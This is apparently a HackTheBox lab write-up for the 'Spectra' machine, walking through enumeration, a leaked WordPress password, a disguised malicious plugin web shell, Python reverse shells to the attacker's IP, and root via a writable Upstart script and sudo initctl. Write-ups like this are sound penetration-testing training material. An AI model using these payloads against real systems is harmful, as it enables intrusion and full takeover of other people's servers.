



# HACKTHEBOX



## Spectra

30<sup>th</sup> June 2020 / Document No D20.101.76

Prepared By: egre55

Machine Author: egre55

Difficulty: **Easy**

Classification: Confidential

# Synopsis

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Spectra is an easy difficulty Linux machine which features an Issue Software Tracker build on Wordpress. The server through directory listing discloses some credentials which can be used to gain access to administration dashboard. Initial foothold is possible by using a custom crafted malicious plugin. By further enumerating the system new credentials can be captured and thus lateral movement can be achieved to another user. Finally wrong permissions to configuration file permits a sudo action to manipulate the init processes in order to gain root.

## Skills Required

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- Web Enumeration
- Linux Enumeration

## Skills Learned

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- Lateral Movement
- File System Permissions
- Sudo Exploitation

# Enumeration

```
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.90 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.90
```

```
nmap -p$ports -sC -sV 10.10.10.90

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp    open  http     nginx 1.17.4
|_ http-server-header: nginx/1.17.4
|_ http-title: Site doesn't have a title (text/html).
3306/tcp  open  mysql    MySQL (unauthorized)
```

Nmap output shows that SSH, Nginx and MySQL are available on their default ports. There is no mention of this version of Nginx suffering from a RCE vulnerability.

We can check out port 80 in a browser, and see the page below. Two links are provided, and it mentions creating a bookmark to access the builds on the FTP site. Let's make a note of this and examine the links.

## Issue Tracking

**Until IT set up the Jira we can configure and use this for issue tracking.**

[Software Issue Tracker](#)

[Test](#)

## Release Testing

**Builds are generated nightly and can be accessed over FTP (please create a bookmark).  
Target the alpha group in Octopus for initial deployment.**

The `Software Issue Tracker` link takes us to `/main/`, and a WordPress instance that the development team are looking to use until Jira is set up.



# Software Issue Management

Just another WordPress site



UNCATEGORISED

The `Test` link takes us to another WordPress instance at `/testing/`, but the site doesn't load as there's an issue with the database connection.

## Error establishing a database connection

It seems as if the website has been misconfigured, and the `testing` directory is listable. Interestingly, it seems that the file `wp-config.php` has been edited in place on the server using editor `nano`, which has generated a `.save` file.

## Index of /testing/


../		
<a href="#">wp-admin/</a>	10-Jun-2020 23:00	-
<a href="#">wp-content/</a>	10-Jun-2020 23:13	-
<a href="#">wp-includes/</a>	10-Jun-2020 23:13	-
<a href="#">index.php</a>	06-Feb-2020 06:33	405
<a href="#">license.txt</a>	10-Jun-2020 23:12	19915
<a href="#">readme.html</a>	10-Jun-2020 23:12	7278
<a href="#">wp-activate.php</a>	06-Feb-2020 06:33	6912
<a href="#">wp-blog-header.php</a>	06-Feb-2020 06:33	351
<a href="#">wp-comments-post.php</a>	02-Jun-2020 20:26	2332
<a href="#">wp-config.php</a>	29-Jun-2020 22:08	2888
<a href="#">wp-config.php.save</a>	29-Jun-2020 22:08	2888
<a href="#">wp-cron.php</a>	06-Feb-2020 06:33	3940
<a href="#">wp-links-opml.php</a>	06-Feb-2020 06:33	2496
<a href="#">wp-load.php</a>	06-Feb-2020 06:33	3300
<a href="#">wp-login.php</a>	10-Feb-2020 03:50	47874
<a href="#">wp-mail.php</a>	14-Apr-2020 11:34	8509
<a href="#">wp-settings.php</a>	10-Apr-2020 03:59	19396
<a href="#">wp-signup.php</a>	06-Feb-2020 06:33	31111
<a href="#">wp-trackback.php</a>	06-Feb-2020 06:33	4755
<a href="#">xmlrpc.php</a>	06-Feb-2020 06:33	3133

Opening this file in a new take and hitting `CTRL + U` to view the source, reveals the contents of the file. WordPress database details have been populated.

```
20
21 // ** MySQL settings - You can get this info from your web host ** //
22 /** The name of the database for WordPress */
23 define( 'DB_NAME', 'dev' );
24
25 /** MySQL database username */
26 define( 'DB_USER', 'devtest' );
27
28 /** MySQL database password */
29 define( 'DB_PASSWORD', 'devteam01' );
30
31 /** MySQL hostname */
32 define( 'DB_HOST', 'localhost' );
33
```


# Foothold

Attempting to log in as user `devtest` to the working WordPress instance results in an error, as it isn't a valid username. However, the default WordPress administrator username of `administrator` and the leaked password is successful.



First, we add a new administrator user.

**Note:** the source code has been changed so that players will not be able to delete or edit user account, just create them.




With administrative privileges to the WordPress instance, there are many techniques of achieving a command execution on the underlying server. One method is to upload a malicious plugin. We save the contents below as `wp-maintenance.php`.

```
<?php
/*
Plugin Name: WordPress Maintanance Plugin
Plugin URI: wordpress.org
Description: WordPress Maintenance Activities
Author: WordPress
Version: 1.0
Author URI: wordpress.org
*/
system($_GET["cmd"]);
?>
```

We create an archive, and in WordPress, we can navigate to "Plugins" > "Add New". We choose the archive file and select `Install Now`.

```
zip wp-maintenance.zip wp-maintenance.php
adding: wp-maintenance.php (deflated 32%)
```



We select `Activate Plugin`.

Dashboard

Posts

Media

Pages

Comments

Appearance

Plugins 1

Installing Plugin from uploaded file: wp-maintenance.zip

Unpacking the package...

Installing the plugin...

Plugin installed successfully.

Activate Plugin

[Return to Plugin Installer](#)

The plugin is successfully activated, and on clicking `view details` it seems to be recognized as an official plugin created by WordPress, and is unlikely to raise any suspicion.

ng: system(): Cannot execute a blank command in /usr/local/share/nginx/html/main/wp-content/plugins/wp-maintenance/wp-maintenance.php on line

Plugins

Add New

Search results for "wp"

Screen Options

Help

The plugin generated 185 characters of **unexpected output** during activation. If you notice " headers already sent " messages, problems with syndication feeds or other issues, try deactivating or removing this plugin.

All (3) | Active (1) | Inactive (2) | Update Available (2)

wp

1 item

Bulk Actions

Apply

<input type="checkbox"/>	Plugin	Description
<input checked="" type="checkbox"/>	<b>WordPress Maintenance Plugin</b> <a href="#">Deactivate</a>	WordPress Maintenance Activities Version 1.0   By <a href="#">WordPress</a>   <a href="#">View details</a>
<input type="checkbox"/>	Plugin	Description

Bulk Actions

Apply

1 item

We can now navigate to the deployed webshell at the following URL. This confirms that we have achieved command execution in the context of the `nginx` user.

```
http://10.10.10.90/main/wp-content/plugins/wp-maintenance/wp-maintenance.php?cmd=id
```

← → ↺ 10.10.10.90/main/wp-content/plugins/wp-maintenance/wp-maintenance.php?cmd=id

uid=20143(nginx) gid=20144(nginx) groups=20144(nginx)

A reverse shell can be obtained using Python.



```
http://10.10.10.90/main/wp-content/plugins/wp-maintenance3/wp-maintenance.php?
cmd=python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.
10.14.3",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

```
nc -lvnp 443
```

```
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.90] 46480
$ SHELL=/bin/bash script -q /dev/null
<inx/html/main/wp-content/plugins/wp-maintenance3 $ id
id
uid=20143(nginx) gid=20144(nginx) groups=20144(nginx)
```

The commands below can be issued in order to upgrade to a strong shell.

```
# In the reverse shell
SHELL=/bin/bash script -q /dev/null
Ctrl-Z

# In Parrot
stty raw -echo
fg
reset
xterm

# In the reverse shell
export SHELL=bash
export TERM=xterm-256color
stty rows 24 columns 150
```

# Lateral Movement

Enumeration of the file system reveals that this computer is running Chrome OS, which is most closely related to Gentoo Linux. The folders `backup` and `srv` seem non-default and thus interesting.

```
nginx@spectra / $ ls -al
total 88
drwxr-xr-x 23 root root      4096 Jun 30 20:51 .
drwxr-xr-x 23 root root      4096 Jun 30 20:51 ..
drwxr-xr-x  3 root root      4096 Jun 30 20:43 backups
drwxr-xr-x  2 root root      4096 Apr 30 09:39 bin
drwxr-xr-x  4 root root      4096 Apr 30 18:14 boot
drwxr-xr-x 15 root root      2020 Jun 30 21:21 dev
drwxr-xr-x 63 root root      4096 Jun 29 22:14 etc
drwxr-xr-x  8 root root      4096 Jun 29 22:14 home
drwxr-xr-x  7 root root      4096 Apr 30 09:38 lib
drwxr-xr-x  7 root root      4096 Apr 30 09:39 lib64
drwx----- 2 root root    16384 Apr 30 09:37 lost+found
drwxrwxrwt  5 root root      100 Jun 30 21:21 media
drwxr-xr-x  4 root root      4096 Apr 30 09:38 mnt
drwxr-xr-x  8 root root      4096 Jun 30 20:51 opt
lrwxrwxrwx  1 root root         26 Apr 30 09:08 postinst -> usr/sbin/chromeos-
postinst
dr-xr-xr-x 274 root root         0 Jun 30 21:21 proc
drwxr-s---  4 root root      4096 Jun 30 15:55 root
drwxr-xr-x 36 root root       900 Jun 30 21:21 run
drwxr-xr-x  2 root root    12288 Jun 29 00:18/sbin
drwxrw----  2 root developers 4096 Jun 29 13:01 srv
dr-xr-xr-x 12 root root         0 Jun 30 21:21 sys
drwxrwxrwt  3 root root       600 Jun 30 21:29 tmp
drwxr-xr-x 12 root root      4096 Jun 28 23:56 usr
drwxr-xr-x 10 root root      4096 Jun 30 21:21 var
```

Chrome OS stores the profile folders of users that are logged in interactively at:

```
/home/user/<unique SHA1 hash>
```

**Note:** As soon as an interactive Chrome OS user signs out, the files under their profile folder are removed. The Chrome OS filesystem is actually read-only by default - even to root, but many admins remove this protection mechanism. Everything in the GUI is based in Chrome, even the terminal. The structure of user profile folders for interactive users is unlike most Linux distributions.

The individual user profile folders are not world-readable by default, but it seems that the sysadmins on this machine have created a backup of the user profiles at `/backups/user_profiles`, which are readable by all users.

```
nginx@spectra /backups $ ls -al
```



Trying this password with the system user `katie` over SSH is indeed successful. `id` command shows that `katie` is a member of the `developers` group.



```
ssh katie@10.10.10.90
```

```
Password:
```

```
katie@spectra ~ $ id
```

```
uid=20142(katie) gid=20142(katie) groups=20142(katie),20143(developers)
```

# Privilege Escalation

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Examination of the sudo privileges reveals that `katie` is able to execute `initctl`, which is an init daemon control tool.



```
katie@spectra ~ $ sudo -l
```

```
User katie may run the following commands on spectra:  
(root) SETENV: NOPASSWD: /sbin/initctl
```

Searching for files owned by this group reveals an Upstart script, and the directory `/srv`.



```
katie@spectra ~ $ find / -group developers 2>/dev/null
```

```
/etc/init/test.conf  
/srv
```

This directory contains Node.js file that stands up a test web server.



```
katie@spectra / $ ls -al srv/

total 12
drwxr-xr-x  2 root developers 4096 Jun 29 13:01 .
drwxr-xr-x 23 root root       4096 Jun 30 20:51 ..
-rwxrwxr-x  1 root developers  251 Jun 29 13:01 nodetest.js

katie@spectra / $ cat srv/nodetest.js

var http = require("http");

http.createServer(function (request, response) {
  response.writeHead(200, {'Content-Type': 'text/plain'});

  response.end('Hello World\n');
}).listen(8081);

console.log('Server running at http://127.0.0.1:8081/');
```

It runs successfully, but appears otherwise uninteresting.



```
katie@spectra / $ /usr/local/share/nodebrew/node/v8.9.4/bin/node
/srv/nodetest.js

Server running at http://127.0.0.1:8081/
```

Inspection of the Upstart script file permissions reveals that our current user can edit it.



```
katie@spectra ~ $ ls -al /etc/init/test.conf

-rw-rw-r-- 1 root developers 478 Jun 30 21:35 /etc/init/test.conf
```

The contents of this file are below. It appears to be a test Upstart init daemon.

```
katie@spectra ~ $ cat /etc/init/test.conf
description "Test node.js server"
```

```

author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script

    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js


end script

pre-start script
    echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script

pre-stop script
    rm /var/run/nodetest.pid
    echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script

```

Searching on internet for `upstart initctl` returns a relevant page as the first result.



This [URL](#) describes how we can trigger an event using the `initctl` utility. We replace the existing contents of `test.conf` with the commands below.

```

start on pwn
task
exec whoami > /tmp/output

```

Next, issue the command below to trigger the `pwn` method.

```
sudo /sbin/initctl emit pwn
```

This is successful, and `/tmp/output` shows that the command was executed as `root`.

```
katie@spectra /dev/shm $ sudo /sbin/initctl emit pwn
katie@spectra /dev/shm $ cat /tmp/output
root
```

Stand up a netcat listener on a new port:

```
nc -lvnp 8443
```

We can use the Python one-liner from previously (with the new port) in order to get a reverse shell. Replace the file contents with the commands below.

```
start on pwn
task
exec python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.
10.14.2",8443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Finally, issue the `initctl` command again.

```
sudo /sbin/initctl emit pwn
```



```
nc -lvnp 8443
```

```
listening on [any] 8443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.90] 36432
# id
uid=0(root) gid=0(root) groups=0(root)
#
```

This is successful, and a shell as user root is being received.